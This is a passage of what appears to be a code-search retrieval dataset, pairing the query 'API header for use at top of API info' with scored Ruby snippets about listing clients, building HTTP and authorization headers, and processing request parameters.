"0cf1a9517f3879ce690e77fca44f2c21", "score": "0.5923281", "text": "def get_o_auth_clients(opts = {})\n data, _status_code, _headers = get_o_auth_clients_with_http_info(opts)\n return data\n end", "title": "" }, { "docid": "b37eb5799e06d8379fbba52cc4eec67f", "score": "0.5899124", "text": "def clients(jids, from, &filter)\n jids = filter_allowed(jids, from)\n local = @clients.values_at(*jids).compact.flatten.select(&filter)\n proxies = proxies(*jids).select(&filter)\n [local, proxies].flatten\n end", "title": "" }, { "docid": "d418c9d86878680532dbdf72e2ac5d0d", "score": "0.5889188", "text": "def index\n get_clients\n end", "title": "" }, { "docid": "3d10658970e698a78d7db953a79fb610", "score": "0.588489", "text": "def clients\n ClientCompany.where(id: self.client_channel.client_company_id).first\n end", "title": "" }, { "docid": "b3007f0215027a9d99f5df7bdf26c5be", "score": "0.58734924", "text": "def clients_get(opts = {})\n data, _status_code, _headers = clients_get_with_http_info(opts)\n return data\n end", "title": "" }, { "docid": "84ed0d28bcc9390bc6527ecb8ebcf227", "score": "0.58695525", "text": "def list_o_auth2_clients(opts = {})\n data, _status_code, _headers = list_o_auth2_clients_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "f26f097aa282b4219cad9cf7aa48c4ca", "score": "0.58651346", "text": "def clients\n @clients ||= {}\n end", "title": "" }, { "docid": "f26f097aa282b4219cad9cf7aa48c4ca", "score": "0.58651346", "text": "def clients\n @clients ||= {}\n end", "title": "" }, { "docid": "b07c109c21ab9c60e91c2800b67d6ed7", "score": "0.5851056", "text": "def responsible_clients(key)\n parts = SecretStorage.parse_secret_key(key)\n deploy_group_permalink = parts.fetch(:deploy_group_permalink)\n environment_permalink = parts.fetch(:environment_permalink)\n\n if deploy_group_permalink == 'global'\n if environment_permalink == 'global'\n clients.values\n else\n unless environment = Environment.find_by_permalink(environment_permalink)\n raise \"no environment with permalink #{environment_permalink} found\"\n end\n environment.deploy_groups.select(&:vault_server_id).map { |deploy_group| client(deploy_group) }.uniq\n end\n else\n unless deploy_group = DeployGroup.find_by_permalink(deploy_group_permalink)\n raise \"no deploy group with permalink #{deploy_group_permalink} found\"\n end\n [client(deploy_group)]\n end.presence || raise(\"no vault servers found for #{key}\")\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "2507a963044b215be2d42de39225a1e4", "score": "0.58417207", "text": "def index\n @clients = Client.all\n end", "title": "" }, { "docid": "6fc7d2ef0d49046313abee872b380a50", "score": "0.58101094", "text": "def all_contacts_for(id_able)\n id = id_able.is_a?(Resources::Client) ? id_able.id : id_able\n resp = get contact_path_for(client_id: id)\n result = process_response(resp)\n result.each.map { |c| Resources::Contact.new(c) }\n end", "title": "" }, { "docid": "1dff091daccf5368f3c5cc660a97ff83", "score": "0.5808564", "text": "def list_all_client_leads\n client_leads = ClientLead.all.map { |client_lead| client_lead.name}\n puts client_leads.uniq\n end", "title": "" }, { "docid": "096b954dce274c348ad7428653236f73", "score": "0.58027893", "text": "def index\n @clients = @account_clients\n end", "title": "" } ]
f0c6e10fad813236cea46f5392178d94
API header for use at top of API info
[ { "docid": "4d0df6c1c93e526ecefd916d34b4a7d3", "score": "0.7856395", "text": "def api_header\n clear\n puts @api_logo\n end", "title": "" } ]
[ { "docid": "5a3813e6ae57ee414d53fc8661eda734", "score": "0.80859804", "text": "def headers\n @apiheader\n end", "title": "" }, { "docid": "5a3813e6ae57ee414d53fc8661eda734", "score": "0.80859804", "text": "def headers\n @apiheader\n end", "title": "" }, { "docid": "ccf16699be577a12f8c47e95a9267573", "score": "0.7401904", "text": "def api_auth_header\n \"#{self.user}:#{self.api_key}\"\n end", "title": "" }, { "docid": "140b71d08991a5ad99821f4c664fff93", "score": "0.72743946", "text": "def request_header; end", "title": "" }, { "docid": "2a93bc5d8df87fd846e644beac4f816a", "score": "0.7239976", "text": "def jsonapi_headers\n headers = super\n return headers if @api_token.blank?\n headers['Authorization'] = \"Bearer #{@api_token.token}\"\n headers\n end", "title": "" }, { "docid": "a63869f19489abeb3a3f935de04fac3c", "score": "0.72190666", "text": "def fetch_additional_headers\n api_key = params.fetch('api_key', '')\n { 'Authorization' => api_key }\n end", "title": "" }, { "docid": "3f798ff31b7891ffcc5fc39d9d7dfaa1", "score": "0.7191797", "text": "def build_headers(include_api = true)\n {}\nend", "title": "" }, { "docid": "2230d9f6f1492a12e9cc89bfe2a33e02", "score": "0.7149837", "text": "def build_header\n {\n header: {\n apiUser: @api_user,\n apiPassword: @api_pwd,\n language: @api_language\n }\n }\n end", "title": "" }, { "docid": "04c7097ac01563dcc71a918535b9a1ab", "score": "0.71220577", "text": "def api_header(version = 1)\n api_version = \"application/vnd.podcast_metadata.v#{version}\"\n request.headers['Accept'] = api_version\n end", "title": "" }, { "docid": "1dbcf495a96e4156010ae9bd011a1b91", "score": "0.710424", "text": "def api_headers\n { 'Content-Type' => 'application/json',\n 'ACCEPT' => 'application/json',\n 'X-USER-ID' => '60cae40c-3364-402f-8bbd-285d65150dcf',\n 'X-FACILITY-ID' => 'b4c5d96a-a02b-41ef-96d7-7a6eddda4c85' }\n end", "title": "" }, { "docid": "dafb7473f5a36619d7cc87becdf934db", "score": "0.70774627", "text": "def header\n {}\n end", "title": "" }, { "docid": "7cb4a256d78719fb5176d1044da0fbd3", "score": "0.7057784", "text": "def auth_headers\n { \"X-Api-Key\" => client_apps(:default).api_key }\n end", "title": "" }, { "docid": "670b2bcb571244370484e2fc8f0d8dc5", "score": "0.70439744", "text": "def header(name, value)\n name = name.to_s.split('_').map(&:capitalize).join('-')\n headers[\"X-Api-#{name}\"] = value.to_s\n end", "title": "" }, { "docid": "e62fa7f4d626c50c582bbe3f06a627f7", "score": "0.7017429", "text": "def header\n {Authorization: \"Bearer #{generate_token}\"}\n end", "title": "" }, { "docid": "2f100e55145fd69bf34492d60dc57bca", "score": "0.7014657", "text": "def headers\n {\n 'Accept' => 'application/json',\n 'Authorization' => \"Bearer #{api_key}\",\n 'Content-Type' => 'application/json',\n 'User-Agent' => 'Workable Ruby Client'\n }\n end", "title": "" }, { "docid": "7b6ed99cad0f4f7462320e3ca92c67cb", "score": "0.69919443", "text": "def headers\n {\n 'Accept' => 'application/json',\n 'Authorization' => \"Bearer #{api_key}\",\n 'Content-Type' => 'application/json',\n 'User-Agent' => 'Workable Ruby Client',\n }\n end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.69725186", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.69725186", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.69725186", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.69725186", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.69725186", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.69725186", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.69725186", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.69725186", "text": "def header; end", "title": "" }, { "docid": "a0b769d20135041a4151e867cec1ce76", "score": "0.69725186", "text": "def header; end", "title": "" }, { "docid": "9bd030cdea68227b8628c7bcaca6ebd2", "score": "0.6970706", "text": "def api_name; end", "title": "" }, { "docid": "f786a64e9f9b57d691a4aacb1df42e11", "score": "0.69546527", "text": "def header\n {\n 'UserAuthentication' => {\n :i_id => user,\n :s_password => api_password,\n :s_type => 'affiliate'\n }\n }\n end", "title": "" }, { "docid": "733f3d480ab2a7bd76be6642bd001056", "score": "0.6954652", "text": "def jsonapi_headers\n { 'Content-Type': Mime[:jsonapi].to_s }\n end", "title": "" }, { "docid": "20d169f0f301cc598efa2352eecc4434", "score": "0.69413877", "text": "def api_user_headers\n @user = create(:user)\n headers = api_user_login(@user.email, @user.password)\n\n request.headers['access-token'] = headers['access-token']\n request.headers['client'] = headers['client']\n request.headers['uid'] = headers['uid']\n\n page.driver.header 'access-token', headers['access-token']\n page.driver.header 'client', headers['client']\n page.driver.header 'uid', headers['uid']\n end", "title": "" }, { "docid": "03a59b9724335b1178ad289c525a047a", "score": "0.69300115", "text": "def api_authorization_header(token)\n\t request.headers['Authorization'] = token \n\tend", "title": "" }, { "docid": "8376a2f07a13fc82e1f6c226bac6d532", "score": "0.69151163", "text": "def header\n end", "title": "" }, { "docid": "b66410f48a3afa738b5a8b2786d874c5", "score": "0.69058686", "text": "def Header\n end", "title": "" }, { "docid": "cd6c5c647fe04c99dfb10c5278ffe8d3", "score": "0.6903046", "text": "def exposed_headers; end", "title": "" }, { "docid": "df17d2151b1a6ffa4f91dea11bf82fd5", "score": "0.6890281", "text": "def headers\n {'X_API_VERSION' => @api_version, :cookies => @cookies, :accept => :json}\n end", "title": "" }, { "docid": "0273635681adfd2655afa4121ec0d801", "score": "0.6855557", "text": "def set_header key, value\n ApiPi::HEADER.merge!( { key => value } )\n end", "title": "" }, { "docid": "653c25148d75cfd0b98b829847e9de4f", "score": "0.68516517", "text": "def get_header\n header = Hash.new\n header[:Authorization] = \"Bearer #{Entity.access_token}\"\n header[:content_type] = :json\n header[:accept] = :json\n header\n end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.6836981", "text": "def headers; end", "title": "" }, { "docid": "5faa7b064eb2f79e90898aad8a259ab2", "score": "0.68217754", "text": "def api_key\n request.headers['X-API-Key']\n end", "title": "" }, { "docid": "b41d034e78d82bb5adf58d80de458617", "score": "0.681918", "text": "def api_headers\n the_headers = {'Content-Type'=>'application/json', 'api_key' => @api_key}\n the_headers.merge!({'auth_token'=>@auth_token}) if authenticated?\n return the_headers\n end", "title": "" }, { "docid": "4482456cf864856b848453d0a60969c8", "score": "0.6816841", "text": "def header_values\n {\n 'X-Powered-By' => 'CMR-Dashboard',\n 'X-Version' => Rails.application.config.version.to_s,\n 'Content-Type' => 'application/json'\n }\n end", "title": "" }, { "docid": "073ef4764758334c3290811d55394cda", "score": "0.6808572", "text": "def prepend_header\n {\n 'Content-Type' =>'application/json', \n \"Accept\" => \"application/json\",\n \"HTTP_X_RSS_HMAC_SHA512\" => calculate_hmac\n }\n end", "title": "" }, { "docid": "3b92b6b569e7a3af2811802ead522b48", "score": "0.679952", "text": "def headers\n {\n \"Accept\" => \"application/json\",\n \"Content-Type\" => \"application/json; charset=utf-8\",\n \"Authorization\" => \"Basic #{auth_string}\",\n \"User-Agent\" => 'API client Ruben' \n }\n end", "title": "" }, { "docid": "24fb8c431679a4dc0281f175d171ca21", "score": "0.67929834", "text": "def http_headers; end", "title": "" }, { "docid": "4b4db3e2bdf563537a886efbbf9863b5", "score": "0.6770567", "text": "def headers\n #\n end", "title": "" }, { "docid": "f591dae657a4defcebd76f536cba8e15", "score": "0.67586845", "text": "def exposed_headers=(_arg0); end", "title": "" }, { "docid": "f3230b26d8202e359fc7387738682833", "score": "0.6754214", "text": "def set_base_header_info\n @header = {}\n @header[:title] = []\n @header[:title] << SETTINGS[:site][:name]\n @header[:description] = SETTINGS[:site][:description]\n @header[:keywords] = SETTINGS[:site][:keywords]\n end", "title": "" }, { "docid": "85bf441a0029bc980b71a74700c636b1", "score": "0.67495805", "text": "def auth_header\n \"#{@info[:token_type] || @info['token_type']} #{@info[:access_token] || @info['access_token']}\"\n end", "title": "" }, { "docid": "e032b9d263196ad4959870dd39b57104", "score": "0.6747304", "text": "def header_options; end", "title": "" }, { "docid": "e032b9d263196ad4959870dd39b57104", "score": "0.6747304", "text": "def header_options; end", "title": "" }, { "docid": "e032b9d263196ad4959870dd39b57104", "score": "0.6747304", "text": "def header_options; end", "title": "" }, { "docid": "e032b9d263196ad4959870dd39b57104", "score": "0.6747304", "text": "def header_options; end", "title": "" }, { "docid": "7ae80fca0f515a9307ce333085ecc531", "score": "0.6714828", "text": "def procore_headers(company_id: nil, token: '')\n if company_id.nil?\n {\n \"Authorization\": \"Bearer #{token}\",\n \"Content-Type\": \"application/json\",\n }\n else\n {\n \"Authorization\": \"Bearer #{token}\",\n \"Content-Type\": \"application/json\",\n \"Procore-Company-Id\": \"#{company_id}\"\n }\n end\nend", "title": "" }, { "docid": "5b62f8fb6833242b3c5abe3e70d5bade", "score": "0.6704759", "text": "def default_headers\n {\n 'Content-Type' => 'application/json',\n 'x-apigw-api-id' => config.api_gtwy_id\n }\n end", "title": "" }, { "docid": "4b9a07fcb72affaccd4f3651c3531515", "score": "0.6693996", "text": "def default_headers\n {\n 'Content-Type' => 'application/json',\n 'x-apigw-api-id' => tmp_api_id\n }\n end", "title": "" } ]
91aaead79a7b11cbfdd42f275c69b9c0
Replaces all identified variables with the matching properties in the payload ==== Parameters +params+ the Postman URL POST request parameters
[ { "docid": "021d315da2ea0de65ebd52140fa64ad9", "score": "0.69487023", "text": "def process params\n begin\n @template[:payload].each_pair do |key,value|\n variables = @help.identify_variables @template[:payload][key]\n variables.each do |v|\n unless params[v].nil?\n if params[v].kind_of? Array\n @template[:payload][key].gsub!(\"%{#{v}}\", params[v].to_json)\n else\n @template[:payload][key].gsub!(\"%{#{v}}\", params[v].to_s)\n end\n end\n end\n end\n self.process_helpers\n rescue Exception => e\n Services::Slog.exception e\n end\n end", "title": "" } ]
[ { "docid": "503e0c68f84e5da84d13f98f494aebb2", "score": "0.62802726", "text": "def envify_params(params)\n params.each_with_object({}) do |(k, v), h|\n v = v.to_json unless v.is_a?(String)\n h[\"PT_#{k}\"] = v\n end\n end", "title": "" }, { "docid": "32e191677b67f8e0ebfca6c5754f6e6d", "score": "0.62003726", "text": "def envify_params(params)\n params.each_with_object({}) do |(k, v), h|\n v = v.to_json unless v.is_a?(String)\n h[\"PT_#{k}\"] = v\n end\n end", "title": "" }, { "docid": "10c42c60b60ebe0d4a201754d7434fa4", "score": "0.61777383", "text": "def fix_params_parsing\n return unless request.body.size > 0\n\n data = ActiveSupport::JSON.decode(request.body)\n request.body.rewind if request.body.respond_to?(:rewind)\n data = {:_json => data} unless data.is_a?(Hash)\n\n data.each do |key, value|\n params[key] = value unless params.has_key? key\n end\n end", "title": "" }, { "docid": "05fcbf080424d05ceaccb12b5c83bad8", "score": "0.59906626", "text": "def replace(params)\n @@protected_fields.each do |field|\n params[field] = @data[field]\n end\n\n @data = params\n end", "title": "" }, { "docid": "10b5e11630f2bd066248b1f3bf6b71be", "score": "0.5988821", "text": "def params_preprocessor_hook(params)\n if JSON_BODY_VERBS.include?(request.request_method)\n BodyParser.parse(params, request.body, request.content_type)\n else\n params\n end\n end", "title": "" }, { "docid": "fec51e40b70f5ca638858b05b973171b", "score": "0.5900796", "text": "def transform_params(params:)\n params.map do |k,v|\n new_key = param_map[k]\n new_key.present? ? \"#{new_key}=#{v}\" : nil\n end\n end", "title": "" }, { "docid": "0e7dfc6fd801eabe41e12d9a23e8b77e", "score": "0.58996296", "text": "def preprocess_post_params(target, params)\n data = params.string_key_to_sym\n data[:state_machine] = target.to_sym\n\n # find possible json strings values and convert to hash\n data.each do |k, v|\n data[k] = JSON.parse(v) if v.to_s.starts_with?('{')\n end\n record = get_or_create_record_for(data)\n\n if record.valid?\n record.save if params[:initial]\n data[:id] = record.id\n yield data if block_given?\n else\n set_message!(data, record.errors.map { |error, message| \"#{error}: #{message}\" }, false)\n status 400\n formatted_response('json', data)\n end\n end", "title": "" }, { "docid": "9bd704d32c137356cc13f804da31714e", "score": "0.586897", "text": "def resolve_params(request)\n body = request.body.read\n\n return {} if body.empty?\n\n params = JSON.parse(body)\n normalize_params(params)\n end", "title": "" }, { "docid": "8a16cf06448ee1e9cea18b7e9e9e3b4b", "score": "0.5828392", "text": "def post_data(params)\n params.clone.to_json\n end", "title": "" }, { "docid": "3e8e5959490f1d59ffa1538f3cef6c64", "score": "0.5809273", "text": "def prepare_variables(variables_param)\n case variables_param\n when String\n if variables_param.present?\n JSON.parse(variables_param) || {}\n else\n {}\n end\n when Hash\n variables_param\n when ActionController::Parameters\n # GraphQL-Ruby will validate name and type of incoming variables\n variables_param.to_unsafe_hash\n when nil\n {}\n else\n raise(ArgumentError.new(\"Unexpected parameter: #{variables_param}\"))\n end\n end", "title": "" }, { "docid": "5fe187df26678fca3baa0d62e0818925", "score": "0.5801433", "text": "def prepare_variables(variables_param)\n case variables_param\n when String\n variables_param.present? ? JSON.parse(variables_param) || {} : {}\n when Hash\n variables_param\n when ActionController::Parameters\n variables_param.to_unsafe_hash # GraphQL-Ruby will validate name and type of incoming variables.\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{variables_param}\"\n end\n end", "title": "" }, { "docid": "081b9e1e8ab2d3a925fd3dc98f8e5975", "score": "0.5792099", "text": "def digest_params(params) #method\n vars = []\n params = params.tr('()', '').split(',')\n\n params.each do |param|\n param = param.split(' ')\n var = ObjectVariable.new(param[1], param[0], 0, false)\n vars.push(var)\n end\n\n vars\n end", "title": "" }, { "docid": "afdd037d4c26a82c0a36d908ce9f4f5a", "score": "0.5789914", "text": "def update_params env, json\n env[FORM_HASH] = json\n env[BODY] = env[FORM_INPUT] = StringIO.new(Rack::Utils.build_query(json))\n end", "title": "" }, { "docid": "bb01ae028743d0a8894ee41450aefb21", "score": "0.57727385", "text": "def known_params\n original_params.values_at(*KNOWN_PARAMETER_KEYS).inject(&:update) || {}\n end", "title": "" }, { "docid": "47fb35e888ba5f9451f932e8dbbf7953", "score": "0.5768208", "text": "def prepare(params)\n params.each do |key, value|\n instance_variable_set \"@#{key}\", value\n end\n\n break_when_invalid!\n end", "title": "" }, { "docid": "a4e6b61d5544bb46cd3eaf45fa22d46f", "score": "0.5739616", "text": "def prepare_variables(variables_param)\n case variables_param\n when String\n if variables_param.present?\n JSON.parse(variables_param) || {}\n else\n {}\n end\n when Hash\n variables_param\n when ActionController::Parameters\n variables_param.to_unsafe_hash # GraphQL-Ruby will validate name and type of incoming variables.\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{variables_param}\"\n end\n end", "title": "" }, { "docid": "a4e6b61d5544bb46cd3eaf45fa22d46f", "score": "0.5739616", "text": "def prepare_variables(variables_param)\n case variables_param\n when String\n if variables_param.present?\n JSON.parse(variables_param) || {}\n else\n {}\n end\n when Hash\n variables_param\n when ActionController::Parameters\n variables_param.to_unsafe_hash # GraphQL-Ruby will validate name and type of incoming variables.\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{variables_param}\"\n end\n end", "title": "" }, { "docid": "a4e6b61d5544bb46cd3eaf45fa22d46f", "score": "0.5739616", "text": "def prepare_variables(variables_param)\n case variables_param\n when String\n if variables_param.present?\n JSON.parse(variables_param) || {}\n else\n {}\n end\n when Hash\n variables_param\n when ActionController::Parameters\n variables_param.to_unsafe_hash # GraphQL-Ruby will validate name and type of incoming variables.\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{variables_param}\"\n end\n end", "title": "" }, { "docid": "a4e6b61d5544bb46cd3eaf45fa22d46f", "score": "0.5739616", "text": "def prepare_variables(variables_param)\n case variables_param\n when String\n if variables_param.present?\n JSON.parse(variables_param) || {}\n else\n {}\n end\n when Hash\n variables_param\n when ActionController::Parameters\n variables_param.to_unsafe_hash # GraphQL-Ruby will validate name and type of incoming variables.\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{variables_param}\"\n end\n end", "title": "" }, { "docid": "90e76248fc7482ce9b5a7a3fa79d5cca", "score": "0.5728273", "text": "def replacements\n params.reject do |k, _v|\n ['q', 'vocab', 'controller', 'action', 'subauthority', 'lang', 'id',\n 'context', 'performance_data', 'response_header', 'format'].include?(k)\n end\n end", "title": "" }, { "docid": "f30dc84f6275aa2e74a43c9d44807e1a", "score": "0.5726364", "text": "def post_params\n instrument(:json_parse) do\n JSON.parse(request.env['rack.input'].read)\n end\n end", "title": "" }, { "docid": "f826d95002fd97106db097d9feea563a", "score": "0.5719713", "text": "def process_params\n self.params = ActionController::Parameters.new json_data\n end", "title": "" }, { "docid": "8dcb7f8c428596ab47e15c5f13cc17cb", "score": "0.57067865", "text": "def replace_params(string, hash={\"a\" => \"b\"}, prefix='') #(keys)\n#will replace all the params in visa hash with they special capital values in the request and header and response\n# all keys in the request and response that will be replaced must be in quotes and all caps ex: \"TOKENREQUESTORID\"\n\t$test_params ||= {}\n\t#check if no initial hash is passed, so that we will use visa_params hash as a hash with values that we will replace\n\tif hash['a'] == 'b'\n\t\thash = $test_params\n\t\tputs ' '\n\t\tprint 'replacing: '\n\tend\n\t#check if we want to use cars_hash to replace params that we are storing for a specific card\n\tif prefix !~ /item_/ && hash == $test_params && (string.include?(\"\\\"item_\"))\n\t\t#prefix = 'item_'\n\t\t#replace params for each card in the visa_cards hash\n\t\t#ALL CARD specific keys to be replaced must have item_# before the actual value\n\t\t$test_items.each_with_index {|item_hash, index|\n\t\t\tstring = replace_params string, item_hash, \"#{'item_'}#{index+1}_\"\n\t\t}\n\t\t#prefix = ''\n\tend\n\n\t#Actuall replacing loop, goes through the hash and replaces\n\thash.each { |key, value|\n\t\tif value.nil?\n\t\t\tstring.gsub!(\"\\\"#{prefix + key.upcase}\\\"\", 'null')\n\t\telsif value.is_a? String\n\t\t\tstring.gsub!(\"\\\"#{prefix + key.upcase}\\\"\", \"\\\"#{value}\\\"\")\n\t\t\tprint \"#{key}, \"\n\t\telsif value.is_a? Hash #call itself if a hash\n\t\t\tstring = replace_params(string, value, prefix)\n\t\telsif value.is_a? Array and value[0].is_a? Hash\n\t\t\tvalue.each {|sub_hash|\n\t\t\t\tstring = replace_params(string, sub_hash, prefix)\n\t\t\t}\n\t\telsif value.is_a? Integer or value.is_a? Array or value.is_a? Float\n\t\t\tstring.gsub!(\"\\\"#{prefix + key.upcase}\\\"\", 